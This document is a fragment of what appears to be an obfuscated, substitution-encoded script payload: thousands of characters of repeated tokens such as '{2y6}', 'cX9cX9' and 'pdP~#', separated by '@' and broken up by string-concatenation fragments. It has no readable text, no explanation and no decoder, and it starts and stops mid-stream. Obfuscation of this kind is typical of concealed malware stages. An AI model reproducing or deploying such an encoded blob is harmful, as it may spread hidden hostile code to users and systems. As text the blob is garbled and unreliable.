}#-/{2y6}%*{2y6}%*{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 + }2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 +}cX9cX9{2y6}2y6{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + };{2y6}%*{2y6}@{2y6 +};{2y6}~{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6+ }#-/{2y6}-=2y6{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}%*{2y6}%*{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+}-=2y6{2y6}2y6{2y6}@{2y6 + }pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6 +})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + };{2y6}-=2y6{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }2y6{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6+}cX9cX9{2y6};{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6};{2y6}%*{2y6}@{2y6 + }~{2y6}pdP~#{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6+}#-/{2y6})({2y6}@{2y6+ }~{2y6}#-/{2y6}@{2y6+};{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6};{2y6}%*{2y6}@{2y6+ }~{2y6}pdP~#{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+})+{2y6}2y6{2y6}@{2y6+ }2y6{2y6};{2y6}%*{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6 +})+{2y6}2y6{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6+ }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6};{2y6}%*{2y6}@{2y6+ }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +}~{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+})+{2y6}2y6{2y6}@{2y6+})({2y6}-=2y6{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 +}2y6{2y6}~{2y6}@{2y6 +})({2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6'+'};{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +})+{2y6}2y6{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6+ };{2y6}%*{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6 + }%*{2y6}-=2y6{2y6}@{2y6+})+{2y6}pdP~#{2y6}@{2y6+}~{2y6};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}pdP~#{2y6}@{2y6+ }~{2y6}pdP~#{2y6}@{2y6 + }2y6{2y6}pdP~#{2y6}@{2y6+}2y6{2y6};{2y6}%*{2y6}@{2y6 + }2y6{2y6};{2y6}%*{2y6}@{2y6+ }~{2y6}pdP~#{2y6}@{2y6 + }~{2y6})({2y6}@{2y6+ };{2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6};{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6+};{2y6};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+ }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 + })+{2y6}2y6{2y6}@{2y6+}2y6{2y6};{2y6}%*{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6+}#-/{2y6})({2y6}@{2y6 + }~{2y6}#-/{2y6}@{2y6+ };{2y6}-=2y6{2y6}@{2y6+ }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6};{2y6}%*{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+}~{2y6}2y6{2y6}@{2y6+}pdP~#{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 + })+{2y6}2y6{2y6}@{2y6 +})({2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6}~{2y6}@{2y6 +})+{2y6}~{2y6}@{2y6+ })({2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6};{2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + })+{2y6}2y6{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6};{2y6}%*{2y6}@{2y6 + }2y6{2y6}pdP~#{2y6}@{2y6+ }%*{2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+};{2y6}%*{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+ }%*{2y6})({2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6 +}#-/{2y6};{2y6}%*{2y6}@{2y6 +}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}%*{2y6}%*{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+ }~{2y6}#-/{2y6}@{2y6 +};{2y6}%*{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}2y6{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6+ }cX9cX9{2y6};{2y6}%*{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6+}#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6 + }cX9cX9{2y6}#-/{2y6}@{2y6 + }2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6}2y6{2y6}@{2y6 +};{2y6}#-/{2y6}@{2y6 + }pdP~#{2y6}-=2y6{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }2y6{2y6};{2y6}%*{2y6}@{2y6+}-=2y6{2y6}2y6{2y6}@{2y6+ }cX9cX9{2y6}#-/{2y6}@{2y6+ }2y6{2y6}%*{2y6}%*{2y6}@{2y6+}cX9cX9{2y6}2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6 +};{2y6};{2y6}%*{2y6}@{2y6 +};{2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6 +}#-/{2y6})({2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6+};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}#-/{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}2y6{2y6}@{2y6+}%*{2y6}~{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})({2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}2y6{2y6}@{2y6 + }%*{2y6}~{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ })+{2y6}-=2y6{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6+}2y6{2y6};{2y6}%*{2y6}@{2y6 +})+{2y6};{2y6}%*{2y6}@{2y6 + };{2y6}-=2y6{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+})+{2y6}-=2y6{2y6}@'+'{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}2y6{2y6}@{2y6+ }%*{2y6}~{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 +})+{2y6}2y6{2y6}@{2y6 + };{2y6}2y6{2y6}@{2y6 +}-=2y6{2y6})({2y6}@{2y6 + }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6+};{2y6}%*{2y6}%*{2y6}@{2y6+ }~{2y6}%*{2y6}%*{2y6}@{2y6+})({2y6})({2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}2y6{2y6}@{2y6+}%*{2y6}~{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + })+{2y6}-=2y6{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +}~{2y6};{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6 +}2y6{2y6}pdP~#{2y6}@{2y6 + };{2y6};{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }pdP~#{2y6})({2y6}@{2y6+}#-/{2y6})({2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}%*{2y6})({2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ };{2y6}#-/{2y6}@{2y6 + }~{2y6};{2y6}%*{2y6}@{2y6+}pdP~#{2y6}pdP~#{2y6}@{2y6 + }~{2y6}pdP~#{2y6}@{2y6 +}2y6{2y6}pdP~#{2y6}@{2y6+};{2y6};{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6 +}#-/{2y6})({2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+ }~{2y6}%*{2y6}%*{2y6}'+'@{2y6 + }#-/{2y6})({2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+ }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6 +})+{2y6}2y6{2y6}@{2y6+ }2y6{2y6};{2y6}%*{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 +}-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 + }#-/{2y6};{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6+}#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6 +}2y6{2y6}-=2y6{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6 +}#-/{2y6})({2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6 + };{2y6}%*{2y6}@{2y6 +}%*{2y6}-=2y6{2y6}@{2y6+};{2y6}2y6{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6 + })+{2y6}~{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6 +}#-/{2y6})({2y6}@{2y6+ }~{2y6}#-/{2y6}@{2y6 + };{2y6}-=2y6{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6 + }p'+'dP~#{2y6})+{2y6}@{2y6+ }#-/{2y6};{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{'+'2y6 + }-=2y6{2y6};{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6+}2y6{2y6};{2y6}%*{2y6}@{2y6+}2y6{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}%*{2y6}%*{2y6}@{2y6 +};{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+ }~{2y6}#-/{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }-=2y6{2y6}-=2y6{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}2y6{2y6}@{2y6+ }%*{2y6}~{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6};{2y6}%*{2y6}@{2y6+ }2y6{2y6}pdP~#{2y6}@{2y6 +}2y6{2y6}pdP~#{2y6}@{2y6 + }~{2y6}pdP~#{2y6}@{2y6 +}cX9cX9{2y6}2y6{2y6}@{2y6+})({2y6}-=2y6{2y6}@{2y6 +}%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ };{2y6}%*{2y6}%*{2y6}@{2y6+};{2y6}%*{2y6}%*{2y6}@{2y6 + }~{2y6}%*{2y6}%*{2y6}@{2y6+})({2y6})({2y6}@{2y6 +}%*{2y6};{2y6}%*{2y6}@{2y6+ }~{2y6}2y6{2y6}@{2y6 + }%*{2y6}~{2y6}@{2y6 +};{2y6}-=2y6{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6+ };{2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+ }#-/{2y6};{2y6}%*{2y6}@{2y6+ }2y6{2y6};{2y6}%*{2y6}@{2y6+ }~{2y6})({2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6+ }pdP~#{2y6}pdP~#{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 +}-=2y6{2y6}-=2y6{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6}pdP~#{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6};{2y6}%*{2y6}@{2y6 +}2y6{2y6}pdP~#{2y6}@{2y6 + }pdP~#{2y6}~{2y6}@{2y6 +}#-/{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+ }2y6{2y6}~{2y6}@{2y6+};{2y6}-=2y6{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }%*{2y6})({2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }~{2y6}pdP~#{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6 + }~{2y6}pdP~#{2y6}@{2y6 +};{2y6};{2y6}%*{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6+})+{2y6}cX9cX9{2y6}%*{2y6}@{2y6 +};{2y6}%*{2y6}@{2y6+}%*{2y6}-=2y6{2y6}@{2y6 + }2y6{2y6}-=2y6{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 +};{2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6}-=2y6{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }%*{2y6}-=2y6{2y6}@{'+'2y6+}%*{2y6}-=2y6{2y6}@{2y6 + }-=2y6{2y6};{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 + })+{2y6};{2y6}%*{2y6}@{2y6 + };{2y6}%*{2y6}%*{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}~{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6 +}#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+ })({2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}2y6{2y6}pdP~#{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6 + }#-/{2y6})({2y6}@{2y6+ }~{2y6}#-/{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6 + }2y6{2y6}-=2y6{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+ }-=2y6{2'+'y6}-=2y6{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }2y6{2y6}pdP~#{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6+}#-/{2y6})({2y6}@{2y6 + }~{2y6}#-/{2y6}@{2y6 +};{2y6}-=2y6{2y6}@{2y6+};{2y6};{2y6}%*{2y6}@{2y6 + }~{2y6}pdP~#{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 + }cX9cX9{2y6}2y6{2y6}@{2y6+})({2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6};{2y6}%*{2y6}@{2y6 + }~{2y6}pdP~#{2y6}@{2y6+ }%*{2y6};{2y6}%*{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 + }-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+}-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6+ })+{2y6}2y6{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+}%*{2y6}~{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6+ })({2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6};{2y6}%*{2y6}@{2y6+}pdP~#{2y6}pdP~#{2y6}@{2y6 + }%*{2y6}%*{2y6}%*{2y6}@{2y6+}#-/{2y6}%*{2y6}%*{2y6}@{2y6+}pdP~#{2y6})({2y6}@{2y6+}#-/{2y6})({2y6}@{2y6 +}~{2y6}#-/{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}%*{2y6})({2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 +}pdP~#{2y6};{2y6}%*{2y6}@{2y6 +}~{2y6}pdP~#{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+ }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6 + })({2y6}%*{2y6}%*{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+};{2y6}~{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}pdP~#{2y6}@{2y6 +}cX9cX9{2y6})+{2y6}@{2y6+ }pdP~#{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + };{2y6}%*{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6 + }cX9cX9{2y6})+{2y6}@{2y6+ };{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}cX9cX9{2y6}#-/{2y6}@{2y6 + }2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6}2y6{2y6}@{2y6+}-=2y6{2y6})({2y6}@{2y6+ }%*{2y6})({2y6}@{2y6+})+{2y6}~{2y6}@{2y6 '+' +})+{2y6}~{2y6}@{2y6 + }~{2y6})({2y6}@{2y6 +})+{2y6}2y6{2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6+}#-/{2y6})({2y6}@{2y6+}~{2y6}#-/{2y6}@{2y6 + }pdP~#{2y6})+{2y6}@{2y6+}-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6 +};{2y6}%*{2y6}@{2y6 +}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }%*{2y6}-=2y6{2y6}@{2y6 +};{2y6}-=2y6{2y6}@{2y6+ }-=2y6{2y6};{2y6}%*{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6 + }~{2y6}%*{2y6}%*{2y6}@{2y6 + }2y6{2y6};{2y6}%*{2y6}@{2y6+ };{2y6}~{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6 +}pdP~#{2y6};{2y6}%*{2y6}@{2y6+}~{2y6}pdP~#{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6+ }-=2y6{2y6}%*{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+})+{2y6}2y6{2y6}@{2y6 + }2y6{2y6};{2y6}%*{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6+}#-/{2y6})({2y6}@{2y6 + }~{2y6}#-/{2y6}@{2y6+}pdP~#{2y6}#-/{2y6}@{2y6+ }%*{2y6}-=2y6{2y6}@{2y6 + }-=2y6{2y6};{2y6}%*{2y6}@{2y6 +})({2y6}%*{2y6}%*{2y6}@{2y6 +})+{2y6};{2y6}%*{2y6}@{2y6+ };{2y6}%*{2y6}%*{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}~{2y6}@{2y6 + })({2y6}-=2y6{2y6}@{2y6 + }%*{2y6};{2y6}%*{2y6}@{2y6+})({2y6}%*{2y6}%*{2y6}@{2y6+ }%*{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }2y6{2y6}pdP~#{2y6}@{2y6 + };{2y6};{2y6}%*{2y6}@{2y6+}pdP~#{2y6})+{2y6}@{2y6 +}-=2y6{2y6}-=2y6{2y6}@{2y6+ }pdP~#{2y6})+{2y6}@{2y6+ })+{2y6}2y6{2y6}@{2y6 + }2y6{2y6};{2y6}%*{2y6}@{2y6 + }#-/{2y6}%*{2y6}%*{2y6}@{2y6+ }#-/{2y6}%*{2y6}%*{2y6}@{2y6 +}pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6 + }~{2y6}#-/{2y6}@{2y6+ }cX9cX9{2y6})+{2y6}@{2y6+}%*{2y6})({2y6}@{2y6+}cX9cX9{2y6})+{2y6}@{2y6 + }#-/{2y6};{2y6}%*{2y6}@{2y6+ }pdP~#{2y6})({2y6}@{2y6+ }#-/{2y6})({2y6}@{2y6+ }~{2y6}#-/{2y6}@{2y6 + };{2y6}-=2y6{2y6}@{2y6+};{2y6}-=2y6{2y6}@{2y6+}%*{2y6};{2y6}%*{2y6}@{2y6 + }2y6{2y6};{2y6}%*{2y6}@{2y6+}#-/{2y6};{2y6}%*{2y6}@{2y6 + }-=2y6{2y6};{2y6}%*{2y6}@{2y6 + }pdP~#{2y6}%*{2y6}%*{2y6}@{2y6+ };{2y6}%*{2y6}@{2y6+ }pdP~#{2y6}#-/{2y6}@{2y6+}#-/{2y6}cX9cX9{2y6}%*{2y6}@{2y6+}2y6{2y6}-=2y6{2y6}@{2y6 + })+{2y6}cX9cX9{2y6}%*{2y6}@{2y6+ }~{2y6})+{2y6}@{2y6+ }2y6{2y6}%*{2y6}%*{2y6}@{2y6+ }cX9cX9{2y6}cX9cX9{2y6}%*{2y6}@{2y6 + 